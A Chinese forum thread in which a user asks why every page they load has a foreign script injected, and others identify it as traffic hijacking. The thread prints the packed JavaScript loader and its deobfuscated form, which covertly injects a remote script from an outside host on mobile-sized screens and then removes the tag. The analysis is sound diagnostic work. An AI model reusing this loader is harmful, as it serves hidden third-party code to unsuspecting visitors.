来看一下这个JS是干什么的

ffsfdsa

是被劫持了还是怎么的,打开什么网页都在</body>前加了这么一段代码:
<script charset="utf-8" async="true" src="http://xr.5myr.cn/rb/jquery.min.js?tcdsp"></script></body>
</html>


JS里的内容:

1. (function(c, g) { g[c()](function(p, a, c, k, e, r) { e = String; if ('0'.replace(0, e) == 0) { while (c--) r[e(c)] = k[c]; k = [function(e) { return r[e] || e } ]; e = function() { return '[1-6]' } ; c = 1 } ;while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]); return p }('(1(b,f){1 e(h){try{3(b.4.width<b.4.height){2 d=f.getElementsByTagName("head")[0];2 i=d.appendChild(a(h));5(1(){d.removeChild(i)},2000)}}catch(g){}}1 c(d){6 f.createElement(d)}1 a(g){2 d=c("script");d.type="text/javascript";d.async=true;d.src=g;6 d}5(1(){3(top==this){2 d=["ht","tp:","//kn.","thj","xs","c.n","et"].join("");e(d+"/64m/")}},500)})(window,document);', [], 7, '|function|var|if|screen|setTimeout|return'.split('|'), 0, {})) })(function() { return (2 * 7).toString(4 << 2) + 'v' + 0xf1.toString(11 << 1) }, window);

复制代码

没看懂这个会做什么,知道的来解读一下

猥琐小胖子

ffsfdsa 发表于 2017-11-20 08:58
看不懂,最终估计是要链接的 http://kn.thjxsc.net/64m/ 这个网址,打开是空白的,但是有些JS,这能看懂吗?
...

就是被劫持了啊。要么你电脑要么你运营商劫持。你试下把那域名hosts 添加 解析到0.0.0.0

冯古屋

这个js等于
eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[1-6]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(1(b,f){1 e(h){try{3(b.4.width<b.4.height){2 d=f.getElementsByTagName("head")[0];2 i=d.appendChild(a(h));5(1(){d.removeChild(i)},2000)}}catch(g){}}1 c(d){6 f.createElement(d)}1 a(g){2 d=c("script");d.type="text/javascript";d.async=true;d.src=g;6 d}5(1(){3(top==this){2 d=["ht","tp:","//kn.","thj","xs","c.n","et"].join("");e(d+"/64m/")}},500)})(window,document);',[],7,'|function|var|if|screen|setTimeout|return'.split('|'),0,{}))
而转换过来的js又等于
(function(b,f){function e(h){try{if(b.screen.width<b.screen.height){var d=f.getElementsByTagName("head")[0];var i=d.appendChild(a(h));setTimeout(function(){d.removeChild(i)},2000)}}catch(g){}}function c(d){return f.createElement(d)}function a(g){var d=c("script");d.type="text/javascript";d.async=true;d.src=g;return d}setTimeout(function(){if(top==this){var d=["ht","tp:","//kn.","thj","xs","c.n","et"].join("");e(d+"/64m/")}},500)})(window,document);
看这串js，好像是加载什么js吧

ffsfdsa

冯古屋 发表于 2017-11-19 21:30
这个js等于
eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[fu ...

看不懂,最终估计是要链接的 http://kn.thjxsc.net/64m/ 这个网址,打开是空白的,但是有些JS,这能看懂吗?
主域名thjxsc.net:是湖南泰和聚鑫供应链有限公司官网